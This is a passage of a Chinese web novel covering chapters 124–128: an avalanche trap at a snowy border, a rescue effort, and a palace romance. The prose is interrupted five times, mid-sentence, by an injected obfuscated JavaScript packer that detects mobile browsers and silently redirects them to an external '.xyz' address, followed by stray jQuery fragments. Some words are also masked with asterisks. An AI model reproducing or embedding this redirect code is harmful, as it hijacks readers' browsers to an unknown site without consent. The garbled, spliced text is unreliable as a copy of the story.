若是慕夜声执意要让王权不弃相伴,那他就不去了,甚至宁愿死了,也不会透露出半分信息。
慕夜声也是死马当活马医,这么拙劣的骗局他也甘愿上当。
王权不弃跟在身后,咬牙切齿看着慕夜声跌跌撞撞往前走的背影,骂道:
“蠢!”
……
第124章 还不算笨
明知山有虎,偏向虎山行。
人们把这种行为称作勇敢,但王权不气弃却认为是单纯的愚蠢。
没有正确评估自己的能力,便去做一些冒险的事情,不只会害了自己,也会连累旁人。
蠢得不能再蠢!若不是慕夜声同他有过命的交情,而且君羲在临行之前也嘱咐过他要照顾好慕夜声……
王权不弃决计不会搭理这么一个甘愿钻进骗局里的傻子。
慕夜声心中着急,纵然知道不对劲,但他仍然抱着万分之一的希望。
万一呢……万一,这人用寒松来做局,就算他被骗了,也能见到寒松。
有王权不弃这个武功高强的暗格第一**跟在身后,他的安全也有保障。
王权不弃十步杀一人,千里不留行,他对王权不弃的实力很有信心。
只要能够让他见到活的寒松,他就能将寒松带走。
哪怕他会欠下王权不弃一个天大的人情,慕夜声也在所不惜,他会在余生用自己的命去偿还。
“还没到吗?”
带头的那人领着慕夜声朝着十万雪山的方向前进,眼看着便要出了大凰边境线。
慕夜声心生警惕,目光所及,除了雪还是雪,半点没有人烟的踪迹。
他可能真的被骗了!
“快了快了,公子,您再耐心一些,小人记得便是在大凰边境外,十里雪山中的一处隐秘山洞中,见到过您寻找的男子。”
带路的人回头,笑得一脸憨厚,仿佛真的确有其事一般。
慕夜声心生动摇,难不成真的是他多疑了?
“不着急,我就在后面慢慢跟着。”
嘴上这么说,慕夜声也不是傻子,手放在腰带处的荷包上,里面有他精心制作的**。
有种**,只要随着空气沾到人的皮肤,便会在三个呼吸的功夫死去,堪称剧毒!
若是这领路的人真的心怀不轨,欺骗他,那慕夜声绝对不会心慈手软。
王权不弃有一双锐利的眼,自然察觉到了慕夜声的小动作,这人离家出走的理智总算是回来了。
他继续跟,手握在剑鞘上,做好了随时动手的准备。
“不算笨。”
只要对方有动手的意图,他就会在第一时间出现,保障慕夜声的安全。
“公子这边请,马上就要到了。”
带路的人一刻不停的往前走,半点不顾及跟在身后有些踉跄的慕夜声,他想着那人给的一百两银子……
王斧心中火热不已,只想将人赶紧带到目的地,然后逃之大吉。
她要带着这些白花花的银子远走高飞,到一处繁华的城池。点最帅的男郎服侍,那该是何等的快意!
慕夜声停下脚步,武功不精的他已经走到两颊驼红,汗液津津。
濡湿的黑发粘在他的鬓角,被他毫不在意的捋在耳后,给他谪仙般清冷的容颜,平添了几分欲色。
可惜,此处除了慕夜声,只有一个心怀鬼胎的带路人,以及只对女人感兴趣的完全不弃,没人欣赏这幅美男图。
“再走就要出大凰了。”
带路之人在心里冷笑,他原本以为要骗一个穿着富贵的公子哥并不容易,毕竟旁人也不是没长脑子,谁知道他错漏百出的理由却成功将人骗上了贼船。
如今马上就要到目的地了,他想走也是晚了!
雇主说了,要让他在最快乐的时候死去,埋葬在厚厚的冰雪里,无人问津。
就在这时,手臂上挎着一个竹篮,身旁还跟着一个彪悍女人的男子出现在他们眼前。
他清澈的眸几乎在看到慕夜声的瞬间便泛起了欢喜,他止不住的叫慕夜声。
“少谷主?”
“真的是你吗?少谷主!”
他也顾不得手上挎着的野菜了,丢掉野菜,篮子翻了,绿色的野菜散落在雪地上。
寒松本来以为自己落入月江离等人的手中必死无疑,而且还是死得最凄惨的那一种。
毕竟,和他同一批被月江离绑走的男子无一不是被**致死!
他为了避免那样的结局,正准备咬舌自尽,就被一个人救了。
那个人很神秘,并没有给他留下什么信息。
只是将人送到十万雪山,对他说,月江离权大势大,躲在十万雪山这偏僻之地,比回到大凰王朝的任意一个城池都安全。
你一个人是无所谓,但你的少谷主呢?神医谷数百条人命也无所谓吗?
他这一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754009|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生最崇拜的人,除了少谷主还是少谷主,根本没有人能比拟少谷主在他心中的地位!
他承认,自己是有私心,想让少谷主活下去,其余人,比如……岚州百姓如何?
关他什么事!
自始至终,他在意的人只有君羲一人而已。
慕夜声也是惊呆了,没想到走到大凰领土的尽头,他都接受了失败的后果,谁知……却是峰回路转!
“寒松!”
“是我,寒松,我们终于见面了!”
寒松心中也是感动不已,他本以为自己得罪了月江离,这一辈子都不能再踏进大凰版图半步,所以只能在十万雪山中苟且偷生。
谁知他现在却得知月江离已经伏法,还是太女殿下替慕夜声报仇做的。
“少谷主,你……你没被欺负吧?”
寒松虽然开心欺辱他的仇人已经**,但他没忘记,当初,少谷主是被君羲强抢进宫的。
若是少谷主为了给他们报仇,不得不屈服于太女**之下,那寒松宁愿不报仇。
他就是一条贱命,若没有少谷主,他早就**。
感受到寒松的情绪,一旁的高大女人靠近了几步。
“阿松,故人相见,该高兴才对,怎么还哭了?”
哭了?
寒松神情一怔,他有吗?
他抬手一抹脸颊,原来不知不觉他早就留下眼泪。
慕夜声和寒松沉浸在故人相逢的喜悦中,没察觉到一旁带路人奸计得逞的坏笑。
王权不弃眼尖,带路人正从怀中拿出一个哨子——
不好!
电光火石间,王权不弃明白带路人想做什么了。
长剑出鞘,同时压低声音厉呵。
“慕兄,带人快走。”
来不及了!
王权不弃再厉害也需要时间才能阻拦,那间隔的两三秒已经足够那人吹响尖锐的哨声。
带路人还是不显山不露水的六重武者!
他避开王权不弃的杀招,捂住受伤的胳膊,阴险一笑。
“**吧。”
轰隆隆——
尖锐的哨声引发了雪崩!
慕夜声一行人瞳孔猛缩,顾不上找设计害他们的带路人算账了,他们不要命往外跑。
第125章 生一堆胖娃娃
纵然慕夜声他们已经拼尽全力在跑,王权不弃甚至超负荷运转轻功,拉着慕夜声和寒松就往外跑。
但,人力在大自然的伟力面前太渺小了。
积压的雪宛如洪水倾泻一般滚滚而下,残酷地席卷路上一切生灵。
王权不弃抿唇,眼底是化不开的担忧,他在心里计算过,按照目前的逃跑速度,根本逃不开这场人为的雪崩。
除非……他丢掉两个拖油瓶。
由于超负荷运转轻功,他的唇色白得像纸一样,不断有铁锈味从喉咙间溢出,让他嘴里泛腥。
“王权兄,你自己逃吧!”
慕夜声很清楚,以王权不弃的武功,逃出去并非难事,只要丢掉自己和寒松这两个拖后腿的。
而且,若是王权不弃带着他们两个,不止他们俩逃不出去,王权不弃也会死在这里,同生共死听上去伟大,但带来的结果却是三人一起死在这里。
但,王权不弃丢下他们二人就能逃出去,三人中还能活下去一个人。
至少将这里的情况告诉驻扎在此地的官员,免得有更多的灾民受到这次人为雪崩的波及。
虽然他知道自己的想法很天真,但这种时候了,能救一个算一个吧。
人为雪崩虽是人为,但会引起一系列连锁反应。
现在这场雪崩已经扩大,周围的雪山也跟着震动,一场浩劫正在席卷饱受灾难折磨的岚州。
王权不弃心中纠结了一瞬,说上去不太仁义,但他留在这里的确是一个最糟糕的决定。
起码若是他能逃出去,还能将二人被埋的大概位置提供出去,待雪崩平息之后再带人返回营救。
但,若他们三人都被雪崩埋在这里,无人知晓他们的位置,只能一起慢慢等死……
想到这,王权不弃狠了狠心,对慕夜声他们道:
“我会用内力尽量护住你们,你们需要保持冷静,等到这场雪崩停息,我会带人来救你们。”
慕夜声扬唇一笑。
“王权兄,你走吧。”
慕夜声心中清楚,被这场雪崩掩埋,他生机渺茫。
但他已经见到了自己想见的人,没有什么遗憾了。
就是可惜,背地里有小人作祟,他刚刚才和寒松重逢,便要一同赴**……
王权不弃看到慕夜声脸上的释然,哪里还不清楚他心里在想什么。
“慕兄,太女殿下还在等你回宫,你可别犯傻。”
“活下去才有希望,寒松大难不死,必有后福,你们的最大仇人月江离已经伏法,我相信他也想和你好好的一起活下去。”
慕夜声闻言一怔,的确是他着相了。
身为医者,他最讨厌的便是别人轻视自己的生命,如今轮到自己了,怎么反而还做了自己最讨厌的那类人呢?
“我知道了,王权兄。”
王权不弃见慕夜声是真的把自己的话听进了心里,这才放心松开手。
他用深厚的内力在慕夜声和寒松周围裹了厚厚的保护罩,他扫视四周,将眼光放在一块竖起的大石头上。
王权不弃将二人飞快地带到那大石头背后,说道:
“你们就在这块石头背后躲着,能最大程度地降低雪带来的冲击力,又有我的内力保护,想必坚持个三五天不是问题。”
“我走了,慕兄,保重!”
“保重!”
慕夜声和寒松躲在那块竖起的大石头背后,屈膝坐下,后背紧紧贴着石头。
二人身前是寒松的妻主,她半蹲着,用手臂给二人撑起一个遮挡的空间。
“阿晓,不用这样,我们一起躲石头后面!”
慕夜声这才知道,腰间围着虎皮的彪悍女人的名字,原来她叫阿晓,倒是有担当,寒松他没看错人。
“寒松说得对,你也一起躲着,空间足够。”
阿晓却是摇了摇头,她从小便生活在大凰的边境,在雪山里讨生活。
阿晓比任何人都知道雪崩的可怕之处。
男子生来体质便不如女子,她深爱着寒松,不愿意心爱之人有任何损伤,她皮糙肉厚,身强体壮,可以给寒松和他心心念念的少谷主撑起一小片安全区。
若是她也跟着他们二人躲在石头背后,那雪崩将会彻底将此地淹没,没有空气,人是会死的。
所以,最好的办法便是她用身体构架起一个支架,让雪崩到达的时候,掩埋的瞬间,能有呼吸的空隙。
“阿松,别担心我,我没事。”
看上去如野兽一般彪悍凶猛的女人,此刻却是对寒松笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778133|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的一脸腼腆,就像收起爪子的大型猛兽,笨拙地讨好她的爱人
“我还等着娶你回家呢,可舍不得死!”
寒松眼泪瞬间涌了出来,他何德何能,竟然让他遇上一个全心全意待他的女子。
他泪眼朦胧地望向阿晓,摇着头,声音哽咽。
“不,不要……阿晓,你跟我们一起躲着……”
阿晓侧头看了一眼雪崩的方向,眸底印上了雪白的颜色,摧枯拉朽一般填满了他的整个瞳孔。
来不及了。
“阿晓!”
轰隆——
雪崩降临,掩埋一切。
三人失去了意识,等寒松和慕夜声再次醒过来,就看到身前宛如一尊冰雕似的阿晓。
头顶不是遮天蔽地令人窒息的雪,而是有一个小孔,有光透过小孔照进来,同时,他们也能够呼吸
寒松手指轻颤着,瞳孔也颤抖着,他连哭都不敢大声,生怕引发二次雪崩。
他只能压低自己的声音,像小兽一样,低声哽咽着,伸出手小心翼翼去触碰女子被冻僵的脸。
“呜呜……”
冰雕动了,准确的来说,是冰雕的眼睛动了,冰雕睁开了眼,说话的声音有些僵硬。
“咳,阿松,别哭。”
寒松惊喜,却不忘小声。
“阿晓,你没事?”
阿晓笑了,纵然笑会让她被冻僵的脸扯着疼,但她仍然想通过笑容来安抚不安的男子。
“没事,我好着呢,你别怕,我不会死的,我还等着娶你回家呢。”
寒松不敢大声哭,他只是无声地盯着阿晓,心中积累的恐惧和委屈决堤般爆发,一颗又一颗的眼泪珠子顺着面颊流下。
阿晓慌了,但她此刻还在用背撑着这一方空间,不能有太大的动作,只能焦急地安慰人。
“别哭了,别哭了,哭着让我心疼。”
阿晓天生不会说好听的、安慰人当然话,连安慰人的话都说得这样笨拙。
除了让寒松别哭了,就不会说别的了。
慕夜声悠悠醒来,便看到感人的一幕,无声地用手拍了拍寒松的肩膀,低声道:
“寒松,别哭,等我们安全离开,我就给你和阿晓当证婚人,你们余生一定会幸福地在一起,生一堆胖娃娃。”
第126章 君明月癫狂扭曲
在慕夜声和阿晓的不断安慰下,寒松总算是止住了哭泣。
他破涕为笑,被泪水洗过晶亮的眼睛一错不错地盯着阿晓的面孔,一寸一寸地用视线描摹。
仿佛要将她的面孔记进脑海里,骨子里,灵魂里,永远也不忘记。
大雪掩埋了一切踪迹,好在这场浩浩荡荡的灾难中,有一人逃了出去。
王权不弃顾不得过度使用轻功的反噬,一刻不停地赶到营帐,只来得及去找主事的官员,快速地告知情况。
“雪崩,危,撤离!”
那主事的官员将信将疑,但看王权不弃嘴角溢出的鲜血,惨白的面色,心中不得不信了几分。
她多少知道,这位王权侧夫不是什么简单人物。
貌似是什么千机阁的少阁主,想必有些本事。
王权不弃不至于拿这种生死攸关的大事来忽悠她,所以那官员也半点不含糊,事急从权,直接用兵符调动了周围的兵士,强行带走住在避难营帐里面的灾民。
好在灾民们饱受灾难折磨,极有危机意识,意识到可能真的有灾难发生,一个个都逃得积极,不用人催,两条腿就倒腾得很快,这让王权不弃放下一半的心。
但他还不能完全放下心,慕夜声和寒松需要等着他去救。
不然,等君羲回朝,见到了她,王权不弃没办法和君羲交代。
尽管王权不弃已经足够快了,但还是有一些灾民被卷进了这场蓄意制造的雪崩中。
逃出来的人也是个个形容狼狈,气喘吁吁。
她们回望被雪崩掩埋的地方,眸底尽是劫后余生的喜悦,又带着悲伤。
这一场灾难里,不知又被埋葬了多少鲜活的人命。
这些人中,有些人不久前还在同她们说笑,现在就被大雪掩埋,成了雪底下一具冰冷的尸体,这让人如何不悲伤?
主事的官员跟在王权不弃身侧,两股战战,冷汗湿透了她的脊背。
她刚刚从王权不弃口中得知,慕夜声没有逃出来……就是那个太女殿下维护的宠夫——慕侧夫。
那主事的官员只觉得天塌了!
本来她以为自己这一趟算是办了个好差事,说不定回去之后还能凭借着这个功劳高升……
如今看来,不说高升了,弄丢了慕侧夫,还让她有了生命危险,太女殿下不把自己活剐就算她运气不错了。
她已经开始想,若是慕测夫真的遭遇不测了,是不是该收拾收拾东西赶紧跑路?
免得太女殿下知道后,她只有死路一条了。
“王权侧夫,慕侧夫还有营救的可能吗?”
毕竟,人是在她赈灾的地界上出事的,不怪她不怕,君羲之前就是喜怒无常,**泄愤的性子。
若是慕夜声还有救,那她一定带着手底下的人……掘地三尺也要将慕侧夫救出来!
王权不弃察觉到了她的想法,也不多言,就任由她胡思乱想。
让这些官员有危机意识,这样他去救慕夜声的时候,他们也能多出力!
毕竟,人只有在自己遭受危难的时候,才肯出全力。
慕夜声和寒松生死不明,虽然有他的内力保护,但王权不弃不确定他们能撑多久,只希望他们能撑得久一些,久到他能够带人去把他们救出来。
“可救,我记得位置。”
王权不弃周身散发出来的气势很像一个人——君羲。
那主事的官员也没意识到他在不自觉地听从王权不弃的吩咐,就好像一切都理所应当一样。
王权侧夫说能救那就一定能救!
主事的官员就像找回了主心骨一般,也不慌了。
“所有人听令,原地驻扎,待雪崩平息,立刻随本官和王权大人前去营救慕侧夫。”
……
顾青颖从八百里加急的信上得到的便是以上信息,她眉头紧皱,慕夜声出事了……
八百里加急最快也要送三日,按照她收到这封信件的时间计算,慕夜声被困起码三日了,也不知如今被救出来没有?
太女殿下还有一日归朝,她都不敢想象,君羲得知此事后,该是如何的大发雷霆!
顾青颖现在都还记忆尤深,当时君羲在朝堂上,为了给慕夜声和王权不弃撑腰,处罚月江离以及左锦一众官员时的残酷手段。
“母亲,儿子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778134|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是不是做错了?”
顾景行快要自责**,若不是他放宽守备,慕夜声二人不会那么容易离开皇宫,也就不会出事。
顾青颖心中也担心,担心君羲回来后会怪罪景行。
但她不能表现出来,顾景行此刻已经够难受的了,身为木青,她要安慰他。
“景行,不是你的错。”
“要怪就怪背地里作怪的小人!”
他们明明已经派了那么多人前去收拾君明月派出去的**,也成功将慕夜声和王权不弃送到了大凰边境,岚州地界。
谁知道君明月这条毒蛇居然还埋了这么一个暗子,猝不及防之下,在所有人放松警惕时,忽然出手……
这才导致慕夜声生出事了。
也不知道君明月脑子里是怎么想的。若是慕夜声真的在她的算计下出了事,君羲肯定不会放过君明月!
君明月身在玉京城中,玉京城又是君羲的老巢,君明月可以说是插翅难逃!
这么做,图什么?图一死吗?
顾青颖想不明白为何君明月执意要和君羲作对,她不知道的是——
君明月收到算计成功的消息时,整个人高兴得快要疯掉了,笑得癫狂又扭曲。
“哈哈哈……君羲!我等不及看你追悔莫及的表情!”
“咳——”
“殿下,你又咳血了!”
君明月一把挥开前来扶她的手,脸上是还未散尽的得意。
同时,她心底对自己这副被君羲投了**,变得枯败的身体,感到愤怒,厌倦。
“无碍,本殿的药呢?没用的废物,还不快把本殿的药端上来!”
君明月开始咳血之后,性格便变得阴晴不定,反复多变,服侍她的侍女们已经习惯了,见怪不怪地回答。
“殿下,药已经在来的路上了,您别急,您的身体一定会好起来的。”
君明月这才放过她们,整个人在太师椅上蜷缩成一团,嘴里还不停地呢喃着。
“药,本殿要喝药,君羲!你不会得逞的!本殿要喝药!”
尖锐的女声就像玻璃划过坚硬的地面,嘶哑、刺耳,让人听得心里发毛。
第127章 一夜春宵好(答应宝宝们的500票加更)
君羲处理完岚州事务后,溟汐也从南海深处回来了。
溟汐回来的速度之快,快到让君羲以为……溟汐不过只是回去同溟霜见了一面,说了几句话后,立刻便转身就走了。
事实上,她并没有猜错。
溟汐的确是这样做的。
溟汐回到南海深处,鲛人族中,站在溟霜面前,才发觉自己同这位早就已经生分的母亲没什么话好说。
他喊了一句“母亲”后便再无下文,好在溟霜看出了溟汐的尴尬和不安,主动开口道:
“好孩子,回来就好,什么都不必多说,母亲明白的。”
她前半生亏欠这个孩子太多,是她的懦弱才让溟汐有了一个不幸的童年。
“阿汐,母亲不奢求得到你的原谅,为母只愿你往后余生都能够平安喜乐,同心爱的人白首到老,幸福一生。”
溟汐听到这话后,心中才有一丝触动。
他一向对母亲竖起高墙的内心,终于被撬开了一丝裂缝。
溟汐看向溟霜发间,这才惊觉,记忆中那个意气风发的鲛人族女皇发间如今已经有了白发,眉宇间也尽是沧桑。
或许,失去父亲对他而言是一个巨大的打击,也是他心里永远无法愈合的创伤……
但对溟霜来说,更是痛彻心扉的痛苦,想到这里,溟汐突然有些释怀了
“母亲……儿臣会的。”
溟霜凝望自己同爱人唯一的儿子,眼眶含着泪,她似乎知道这个儿子已经是留不住了。
她先失去了自己的爱人,如今终归也要失去自己的儿子。
但溟霜知道,若是想要溟汐内心感到幸福,便不能去阻拦。
相反,她还要成全阿汐。
所以溟霜在溟汐开口前,便对溟汐说:
“好孩子,去吧,她一定还在等你。”
溟霜说道这里已是语带哽咽,任谁都能听出她语气里的不舍和难过。
溟汐自然也没有错过溟霜眼底最真挚的祝福和不舍。
他纠结了一瞬,定定地看着女人悲伤的眼睛,最终也没说出什么好听的话。
他只是说了一句。
“母亲,我走了,保重。”
溟霜对他承诺。
“阿汐,你放心地去吧,只要有为母在族中一天,便不会有鲛人来阻拦你追求自己的爱情。”
托阿汐妻主的福,如今把控鲛人族的七位族老已经除去,她只需要坐稳鲛人族女皇的位置,便能够让阿汐无后顾之忧。
鲛人黑尾皇族血脉固然珍贵,但在溟霜心里,最珍贵的是溟汐的意愿。
“阿汐,为母保证。”
听了溟霜的保证,溟汐没有多说什么,他只是深深地望了溟霜一眼,然后转身就走。
溟霜站在原地看了溟汐的背影许久,直到再也看不到,这才收回视线。
“传本皇令,任何人不得去打扰汐皇子,违者受千刀万剐之刑,灵魂永堕鲛人炼狱。”
这话已经是极重,没有鲛人听到鲛人炼狱不害怕的,也没有鲛人愿意被处罚到鲛人炼狱去感受那种痛不欲生的痛苦。
“谨遵陛下旨意”
……
于是溟汐就这么回来了!
如今同君羲大眼瞪小眼,君羲这才明白,原来溟汐是这么回来的呀。
溟汐垂眸,碧色的眼眸湿漉漉的,长长的睫毛遮住他眸底的碎光。
“羲羲,我回来了。”
君羲:好乖,想摸。
溟汐半点没有告知自己一天一夜,毫不停歇地赶路的事情。
他似乎是感知到了女人的想法,男人近乎温顺地低头,将脑袋凑到女人的手边,眼巴巴地望着女人白皙的手,似乎在祈求女人摸摸他,他会很乖很乖。
“羲羲,摸摸。”
男人的碧眸像住进了一整个春天,稍不留神,便会被这双眸将灵魂吸进去。
“羲羲,好不好?”
溟汐撒娇的嗓音听得君羲心都化了,她本就想摸摸男人的脑袋,心里这么想,君羲也这么做了。
女人抬手放在男人银发上抚摸,男人被海水微微沾湿的银发宛如绸缎一般的触感,让君羲心生着迷,她眯着凤眼,一脸满足的抚摸。
“喜欢。”
溟汐也像一条被顺**的大狗狗,乖顺地任由女人抚摸他的银发。
直到后面君羲收回了手不再抚摸,溟汐意犹未尽开口。
“羲羲,还要。”
粘人的小鱼。
君羲心里忍俊不禁,自然是满足某鱼的要求。
她将手重新放在男人的发上,男人喉间发出舒服的闷哼声。
“嗯,羲羲……”
君羲忙不迭地收回手,就像被烫到了一般,溟汐这副表情就仿佛她对男人做了什么不可言说的事情一样……
苍天啊,她真的只是摸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778135|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了摸男人的头而已!
男人却委屈巴巴地看向君羲的手,似乎在问为什么不摸了呢?
君羲故作镇定地移开视线,找借口。
“阿汐,既然你回来了,咱们便早日起程回京吧,国不可一日无君,孤还是得早日回到玉京城主持大局。”
溟汐自然没有什么不可以的,他一直以君羲的意向为重。
君羲说什么,他便做什么。
“好呢。”
“羲羲,那我的摸摸呢?”
真是条色鱼!
君羲心里起了逗弄溟汐的想法,她意味不明地扫了溟汐一眼,语焉不详道:
“现在还不是时候,等到了晚上,孤自然什么都会满足阿汐。”
溟汐听了这话,耳根一红,反而不好意思了,眼尾泛上红晕。
君羲的话,让他不可避免地想到以前她们做那档子事时,暧昧旖旎的画面。
这些天来,一直奔波劳累,说起来他也好久没有同羲羲做那事了。
现在女人一说起来,他是有些怀念,溟汐承认,他也想了。
于是,男人有些羞涩腼腆地垂着头,说了一句。
“侍身晚上都听妻主的。”
……
于是,到了夜里,荒郊野岭……
临时搭建的帐篷里,溟汐裹着小被子,期待地等着君羲临幸。
谁知,君羲进来后,只是淡淡地扫了他一眼。
女人掀开被子,无视了他赤裸的胸膛,钻进被子,手环住他劲瘦的腰,脸往他胸膛一靠,便要一副睡觉的样子。
“睡觉。”
溟汐可不依了,他是想睡觉,但是不是这种睡觉!他是要和羲羲睡觉的那种睡觉!
“不要。”
君羲还在坏心眼地逗鱼。
“阿汐是有什么事情要同孤说吗?孤好困了,明日还要赶一天一夜的路,阿汐再不说的话……孤就要睡觉了。”
溟汐没有错过女人眼底的坏笑,这下明白了,之前全是逗他的!
他咬牙切齿凑近女人的耳畔,含住女人的耳垂,说了一句。
“羲羲,我想……”
后面的话语太轻,只有君羲听得到。
只见君羲耳根红成一片,猛的想推开男人的怀抱,细腰却被男人桎梏得死死的,动弹不得。
她也被男人的话勾起了欲。
月色和树影勾勾缠缠,一夜春宵好。
……
第128章 傻子,大傻子
次日,晨光笼罩。
君羲在溟汐怀中悠悠转醒。
“还算知道分寸,没有胡来。”
昨夜溟汐本来是想很久的,但体谅君羲第二日还要早起赶路,便克制住了自己。
他睁开眼,银色的发丝随着他起身的动作从肩上滑落,露出锁骨上的红痕。
“早啊~妻主。”
“侍身昨晚那么乖,有没有什么奖励?”
君羲笑着在他唇上香了一口,在男人反应过来想抓着她亲个不停前松开嘴。
“奖励。”
溟汐刚想故技重施,不依不饶地耍赖,便见女人微微冷了脸。
“好男人是不会得寸进尺的哦,阿汐,昨夜已经够多了。”
溟汐见君羲这副模样,便知道自己是逃不了好处了,委屈地撇了撇嘴。
“好叭……”
紧接着,他毫不避讳地掀开被子,露出宽肩窄腰的好身材,故一般地在君羲面前晃荡,似乎在展示他身上的战绩。
君羲耳根一红,男人背上都是她的抓痕……
“快穿上衣服!”
溟汐慢吞吞地拿起放在一旁凌乱的衣服,慢动作般地穿上,极其优雅,看得君羲恨不得冲上去替他穿好衣服。
但君羲只是想想,毕竟用脚趾头想也知道,她若是去给男人穿衣服,后面会演化成什么样子。
今日还要赶路,不宜招惹还在兴头上的男人,所以君羲只是掀开帐篷走了出去,留下一句。
“阿汐,穿好衣服便跟上来,孤先去洗漱。”
见君羲真的丝毫没有被自己的美色勾引,毫不犹豫地走了出去,溟汐狠狠地咬了咬牙。
“坏羲羲。”
君羲不看,而且还走了,溟汐自然不会故意放慢动作了。
他三两下便将自己拾掇好,屁颠屁颠地掀开营帐追了出去。
同女人一同洗漱好后,自然会替他们收拾好营帐。
待一切准备好出发时,在凤羽军暧昧的神色下,骄傲地仰着头,挺起胸膛,同君羲并肩骑行。
……
如今是雪崩停息的第二天,再三确认没有再次雪崩的风险后,王权不弃便带着人手前去营救被雪崩掩埋的慕夜声和寒松。
所有人都全副武装,身上带着铲子,铁锹,兵器……
王权不弃和主事的官员走在最前面,准确的说是……王权不弃走在最前头,主事的官员躲在他的身后,亦步亦趋。
王权不弃武功高强,又认得路,自然是由他来当这个领路人。
长长的营救队伍顶着风雪在茫茫雪地里负重前行,脚印在雪地上留下一串痕迹,很快便被飘落的雪掩埋。
放眼望去,除了白还是白,很难辨别方向。
好在王权不弃自小便很有方向感,不至于迷失方向。
他大概估算了一下和慕夜声分开时的位置,辨别了一下方向后,带着营救队伍前进。
“大家再坚持一下,很快便到了。”
主事的官员见大家都在揉眼睛,这才想起这次出行让大家都带上了黑色薄纱。
“这是透光的黑色丝布,大家拿去分分。”
他们在此已经待上快有一月,对如何在雪地中保护自己有经验,这黑色纱布便是为了防止眼睛长久地盯着雪得雪盲症。
茫茫雪地中,出现了这样一幅奇景。
营救的队伍个个眼睛上戴着黑色薄纱,王权不弃拿出腰间早就准备好的绳子,吩咐后面的人紧紧抓着绳子,不要松手,跟着他的步伐走。
男人抬头看了看日头,心中暗自为慕夜声祈祷。
慕兄,你可千万不要有事啊。
“继续走。”
天不遂人愿。
雪花由小变大,逐渐变得猛烈起来。
呼呼的冷风刮着他们脸颊,生疼。
主事的官员躲在王权不弃身后都感觉自己快被寒风吹飞了,再这么走下去肯定不行。
她看了看跟前坚毅前行的背影,感觉男人就像一座巍峨的山。任凭环境如何变动,他自坚定不移。
她在心中叹了口气,如今世道,少有男子能做到王权不弃这般坚毅。
“王权侧夫,风雪太大了,再这么走下去,大家都会有生命危险,不如先找个避风地躲躲,等风雪小些咱们再继续前行,去营救慕侧夫?”
王权不弃武功高强,能够化解风雪带来的压迫,她们可不能,别到时候人没救到,她们先死在雪地里了。
“王权侧夫,我刚好知道这里有一处避风地,您看?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778136|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
王权不弃抿唇,如今的风雪大到他都有些前进困难,他抬头看了看越来越大的风雪,心中不甘,却也无可奈何。
“听你的,去避风地。”
主事的官员心中狠狠松了口气,她还怕王权不弃死脑筋,硬是要坚持,那他也没有别的更好的办法劝说王权不弃听从她的意见。
毕竟,无论是从身份地位,还是武功来说,王权不弃都碾压她。
若是王权不弃真的要坚持,她也只好舍命陪君子,谁让王权不弃是太女殿下心爱的侧夫呢?
好在,王权侧夫还是明事理的。
“好好,王权侧夫请往这边走。”
另一边,被困的慕夜声和寒松依偎在一起,身前是替他们支撑起一片喘息空间的阿晓。
阿晓浑身都冻僵了,她甚至感觉不到手指和腿的存在。
但她仍然在开口安慰哭得不行的寒松。
“阿松,我没事,你放心,你未来妻主厉害着呢。”
阿晓心中默默计算着自己的极限,她想在自己到达极限之前,先活动开手脚。
她要给阿松和他尊敬的少谷主,打开一条生路——至少得将头顶压住的雪挪开。
“阿松,别怕,会没事的,我保证。”
